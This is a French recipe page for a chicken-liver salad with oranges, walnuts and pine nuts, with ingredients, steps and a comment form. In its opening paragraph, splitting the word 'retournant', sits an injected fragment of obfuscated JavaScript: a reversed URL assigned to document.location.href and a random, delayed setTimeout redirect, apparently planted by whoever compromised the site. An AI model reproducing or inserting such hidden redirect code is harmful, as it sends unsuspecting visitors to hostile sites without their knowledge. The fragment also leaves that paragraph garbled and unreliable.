Salade de foies de volailles à l’orange

2018-02-09

Triez, rincez, essorez, émincez la laitue. Faites cuire les foies de volaille dans une poêle sur feu vif avec 2 cuillerées à soupe d’huile d’arachide pendant 5 minutes, en les retobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tournant souvent. Salez, poivrez.

Ingrédients

  • Pour 4 personnes
  • 300 g de foies de volaille
  • 2 oranges
  • 50 g de cerneaux de noix
  • 50 g de pignons de pin
  • 1 cœur de laitue
  • Pour la vinaigrette :
  • 1 cuillère à soupe de vinaigre balsamique
  • 2 cuillères à soupe d'huile de noix
  • 1 cuillerée à café de moutarde
  • Sel - Poivre

Préparation de la recette

Etape 1

Triez, rincez, essorez, émincez la laitue. Faites cuire les foies de volaille dans une poêle sur feu vif avec 2 cuillerées à soupe d'huile d'arachide pendant 5 minutes, en les retournant souvent. Salez, poivrez.

Etape 2

Pelez les oranges à vif, séparez les quartiers. Faites la vinaigrette assaisonnez la salade.

Etape 3

Répartissez dans des assiettes avec les foies de volaille, ajoutez les cerneaux de noix, les pignons de pin, les oranges et dégustez.

Catégories : Ingrédients principaux : , , , , , , , ,
Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Related Recipes:
  • Photo Salade d'épinards

    Salade d’épinards

  • Salade de spaghettis avec du saumon

    Salade de spaghettis avec du saumon

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *